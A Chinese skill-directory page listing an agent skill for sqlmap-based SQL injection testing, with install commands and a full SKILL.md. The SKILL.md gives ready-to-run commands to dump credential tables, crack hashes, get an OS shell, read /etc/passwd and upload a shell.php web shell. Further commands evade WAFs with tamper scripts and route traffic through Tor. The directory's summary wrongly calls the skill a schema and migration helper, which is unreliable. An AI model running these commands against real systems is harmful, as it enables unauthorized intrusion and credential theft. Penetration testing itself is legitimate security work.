Token导航 LogoToken导航TokenDH.com
研究检索执行命令github未标认证来源可访问clear审计异常

sqlmap-database-penetration-testingsqlmap 数据库渗透测试

Agent Skill

用于辅助数据库表结构、查询语句、迁移脚本和数据维护任务。它适合让 Agent 分析 schema、编写 SQL、排查查询问题、整理索引或生成迁移建议。使用时需要明确数据库类型、连接环境和目标表,区分只读分析与写入变更;涉及删除、更新、迁移和批量导入时,应优先 dry-run、备份或事务保护,避免误操作。

总安装

19,464

周安装

501

GitHub Stars

4,101

下载量

4,318
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

3

许可证

MIT

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:sqlmap-database-penetration-testing(sqlmap 数据库渗透测试)
来源仓库:https://github.com/zebbern/claude-code-guide
仓库路径:skills/sqlmap-database-penetration-testing
安装命令:
npx skills add https://github.com/zebbern/claude-code-guide --skill 'SQLMap Database Penetration Testing'
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。不同来源提供的安装方式可能略有差异;本站展示可直接复制的安装命令,安装前请核对来源页面。

skills.shnpx skills
npx skills add https://github.com/zebbern/claude-code-guide --skill 'SQLMap Database Penetration Testing'

简介

zebbern-claude-code-guide-sqlmap-database-penetration-testing 用于辅助数据库表结构、查询语句、迁移脚本和数据维护任务。

  • 它适合让 Agent 分析 schema、编写 SQL、排查查询问题、整理索引或生成迁移建议。
  • 安装方式是通过 npx skills add 命令从指定 GitHub 仓库添加。
  • 使用时需要明确数据库类型、连接环境和目标表,区分只读分析与写入变更;涉及删除、更新、迁移和批量导入时,应优先 dry-run、备份或事务保护,避免误操作。
  • 适用宿主包括 Codex、Claude、Cursor、Gemini CLI,接入前应确认版本、权限和运行环境要求。

SKILL.md

SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

  • Target URL: Web application URL with injectable parameter (e.g., ?id=1)
  • SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
  • Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
  • Request File (Optional): Burp Suite captured HTTP request for POST-based injection
  • Authorization: Written permission for penetration testing activities

Outputs / Deliverables

  • Database Enumeration: List of all databases on the target server
  • Table Structure: Complete table names within target database
  • Column Mapping: Column names and data types for each table
  • Extracted Data: Dumped records including usernames, passwords, and sensitive data
  • Hash Values: Password hashes for offline cracking
  • Vulnerability Report: Confirmation of SQL injection type and severity

Core Workflow

1. Identify SQL Injection Vulnerability

Manual Verification

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

Initial SQLMap Scan

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerate Databases

List All Databases

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch

Key Options:

  • -u: Target URL with injectable parameter
  • --dbs: Enumerate database names
  • --batch: Use default answers (non-interactive mode)

3. Enumerate Tables

List Tables in Specific Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch

Key Options:

  • -D: Specify target database name
  • --tables: Enumerate table names

4. Enumerate Columns

List Columns in Specific Table

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch

Key Options:

  • -T: Specify target table name
  • --columns: Enumerate column names

5. Extract Data

Dump Specific Table Data

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch

Dump Specific Columns

sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump --batch

Dump Entire Database

sqlmap -u "http://target.com/page.php?id=1" -D database_name --dump-all --batch

Key Options:

  • --dump: Extract all data from specified table
  • --dump-all: Extract all data from all tables
  • -C: Specify column names to extract

6. Advanced Target Options

Target from HTTP Request File

# Save Burp Suite request to file, then:
sqlmap -r /path/to/request.txt --dbs --batch

Target from Log File

# Feed log file with multiple requests
sqlmap -l /path/to/logfile --dbs --batch

Target Multiple URLs (Bulk File)

# Create file with URLs, one per line:
# http://target1.com/page.php?id=1
# http://target2.com/page.php?id=2
sqlmap -m /path/to/bulkfile.txt --dbs --batch

Target via Google Dorks (Use with Caution)

# Automatically find and test vulnerable sites (LEGAL TARGETS ONLY)
sqlmap -g "inurl:?id= site:yourdomain.com" --batch

Quick Reference Commands

Database Enumeration Progression

StageCommand
List Databasessqlmap -u "URL" --dbs --batch
List Tablessqlmap -u "URL" -D dbname --tables --batch
List Columnssqlmap -u "URL" -D dbname -T tablename --columns --batch
Dump Datasqlmap -u "URL" -D dbname -T tablename --dump --batch
Dump Allsqlmap -u "URL" -D dbname --dump-all --batch

Supported Database Management Systems

DBMSSupport Level
MySQLFull Support
PostgreSQLFull Support
Microsoft SQL ServerFull Support
OracleFull Support
Microsoft AccessFull Support
IBM DB2Full Support
SQLiteFull Support
FirebirdFull Support
SybaseFull Support
SAP MaxDBFull Support
HSQLDBFull Support
InformixFull Support

SQL Injection Techniques

TechniqueDescriptionFlag
Boolean-based blindInfers data from true/false responses--technique=B
Time-based blindUses time delays to infer data--technique=T
Error-basedExtracts data from error messages--technique=E
UNION query-basedUses UNION to append results--technique=U
Stacked queriesExecutes multiple statements--technique=S
Out-of-bandUses DNS or HTTP for exfiltration--technique=Q

Essential Options

OptionDescription
-uTarget URL
-rLoad HTTP request from file
-lParse targets from Burp/WebScarab log
-mBulk file with multiple targets
-gGoogle dork (use responsibly)
--dbsEnumerate databases
--tablesEnumerate tables
--columnsEnumerate columns
--dumpDump table data
--dump-allDump all database data
-DSpecify database
-TSpecify table
-CSpecify columns
--batchNon-interactive mode
--random-agentUse random User-Agent
--levelLevel of tests (1-5)
--riskRisk of tests (1-3)

Constraints and Limitations

Operational Boundaries

  • Requires valid injectable parameter in target URL
  • Network connectivity to target database server required
  • Large database dumps may take significant time
  • Some WAF/IPS systems may block SQLMap traffic
  • Time-based attacks significantly slower than error-based

Performance Considerations

  • Use --threads to speed up enumeration (default: 1)
  • Limit dumps with --start and --stop for large tables
  • Use --technique to specify faster injection method if known

Legal Requirements

  • Only test systems with explicit written authorization
  • Google dork attacks against unknown sites are illegal
  • Document all testing activities and findings
  • Respect scope limitations defined in engagement rules

Detection Risk

  • SQLMap generates significant log entries
  • Use --random-agent to vary User-Agent header
  • Consider --delay to avoid triggering rate limits
  • Proxy through Tor with --tor for anonymity (authorized tests only)

Examples

Example 1: Complete Database Enumeration

# Step 1: Discover databases
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
# Result: acuart database found

# Step 2: List tables
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
# Result: users, products, carts, etc.

# Step 3: List columns
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
# Result: username, password, email columns

# Step 4: Dump user credentials
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch

Example 2: POST Request Injection

# Save Burp request to file (login.txt):
# POST /login.php HTTP/1.1
# Host: target.com
# Content-Type: application/x-www-form-urlencoded
#
# username=admin&password=test

# Run SQLMap with request file
sqlmap -r /root/Desktop/login.txt -p username --dbs --batch

Example 3: Bulk Target Scanning

# Create bulkfile.txt:
echo "http://192.168.1.10/sqli/Less-1/?id=1" > bulkfile.txt
echo "http://192.168.1.10/sqli/Less-2/?id=1" >> bulkfile.txt

# Scan all targets
sqlmap -m bulkfile.txt --dbs --batch

Example 4: Aggressive Testing

# High level and risk for thorough testing
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --level=5 --risk=3

# Specify all techniques
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch --technique=BEUSTQ

Example 5: Extract Specific Credentials

# Target specific columns
sqlmap -u "http://target.com/page.php?id=1" \
  -D webapp \
  -T admin_users \
  -C admin_name,admin_pass,admin_email \
  --dump --batch

# Automatically crack password hashes
sqlmap -u "http://target.com/page.php?id=1" \
  -D webapp \
  -T users \
  --dump --batch \
  --passwords

Example 6: OS Shell Access (Advanced)

# Get interactive OS shell (requires DBA privileges)
sqlmap -u "http://target.com/page.php?id=1" --os-shell --batch

# Execute specific OS command
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch

# File read from server
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch

# File upload to server
sqlmap -u "http://target.com/page.php?id=1" --file-write="/local/shell.php" --file-dest="/var/www/html/shell.php" --batch

Troubleshooting

Issue: "Parameter does not seem injectable"

Cause: SQLMap cannot find injection point Solution:

# Increase testing level and risk
sqlmap -u "URL" --dbs --batch --level=5 --risk=3

# Specify parameter explicitly
sqlmap -u "URL" -p "id" --dbs --batch

# Try different injection techniques
sqlmap -u "URL" --dbs --batch --technique=BT

# Add prefix/suffix for filter bypass
sqlmap -u "URL" --dbs --batch --prefix="'" --suffix="-- -"

Issue: Target Behind WAF/Firewall

Cause: Web Application Firewall blocking requests Solution:

# Use tamper scripts
sqlmap -u "URL" --dbs --batch --tamper=space2comment

# List available tamper scripts
sqlmap --list-tampers

# Common tamper combinations
sqlmap -u "URL" --dbs --batch --tamper=space2comment,between,randomcase

# Add delay between requests
sqlmap -u "URL" --dbs --batch --delay=2

# Use random User-Agent
sqlmap -u "URL" --dbs --batch --random-agent

Issue: Connection Timeout

Cause: Network issues or slow target Solution:

# Increase timeout
sqlmap -u "URL" --dbs --batch --timeout=60

# Reduce threads
sqlmap -u "URL" --dbs --batch --threads=1

# Add retries
sqlmap -u "URL" --dbs --batch --retries=5

Issue: Time-Based Attacks Too Slow

Cause: Default time delay too conservative Solution:

# Reduce time delay (risky, may cause false negatives)
sqlmap -u "URL" --dbs --batch --time-sec=3

# Use boolean-based instead if possible
sqlmap -u "URL" --dbs --batch --technique=B

Issue: Cannot Dump Large Tables

Cause: Table has too many records Solution:

# Limit number of records
sqlmap -u "URL" -D db -T table --dump --batch --start=1 --stop=100

# Dump specific columns only
sqlmap -u "URL" -D db -T table -C username,password --dump --batch

# Exclude specific columns
sqlmap -u "URL" -D db -T table --dump --batch --exclude-sysdbs

Issue: Session Drops During Long Scan

Cause: Session timeout or connection reset Solution:

# Save and resume session
sqlmap -u "URL" --dbs --batch --output-dir=/root/sqlmap_session

# Resume from saved session
sqlmap -u "URL" --dbs --batch --resume

# Use persistent HTTP connection
sqlmap -u "URL" --dbs --batch --keep-alive

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

04

需要参考平台分布和安装热度时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

补充不同宿主或平台的使用分布数据

能力 5

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Antigravity

24.96%
按下载量换算1,078

Claude Code

20.46%
按下载量换算883

Gemini CLI

19.42%
按下载量换算839

windsurf

13.03%
按下载量换算563

trae

7.17%
按下载量换算310

OpenCode

3.19%
按下载量换算138

安全审计

Gen Agent Trust Hub

通过

Socket

通过

Snyk

未通过

权限和风险

执行命令

安装流程涉及命令执行,可能通过 npx skills add https://github.com/zebbern/claude-code-guide --skill 'SQLMap Database Penetration Testing';npx skills add zebbern/claude-code-guide --skill "sqlmap-database-penetration-testing" 联网下载 Skill 或依赖。用户安装前应确认命令来源、仓库内容和执行环境。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。来源字段存在多来源差异,先按来源优先级自动处理,无法消解时进入异常复核队列。

来源信息

继续浏览同类 Skills